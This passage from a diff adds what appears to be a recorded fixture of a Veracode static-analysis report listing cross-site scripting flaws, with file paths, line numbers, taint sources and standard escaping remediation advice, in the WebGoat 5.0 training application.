+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SilentTransactions.java\"
+        line=\"94\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.SilentTransactions\"
+        functionprototype=\"void handleRequest(session.WebSession)\" functionrelativelocation=\"52\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"23\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"9\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"35\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"9\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"256\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"18\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"143\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"22\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"234\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"22\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"96\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"33\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"212\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"34\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"198\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"34\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"153\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"38\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"22\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"54\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"41\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"211\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
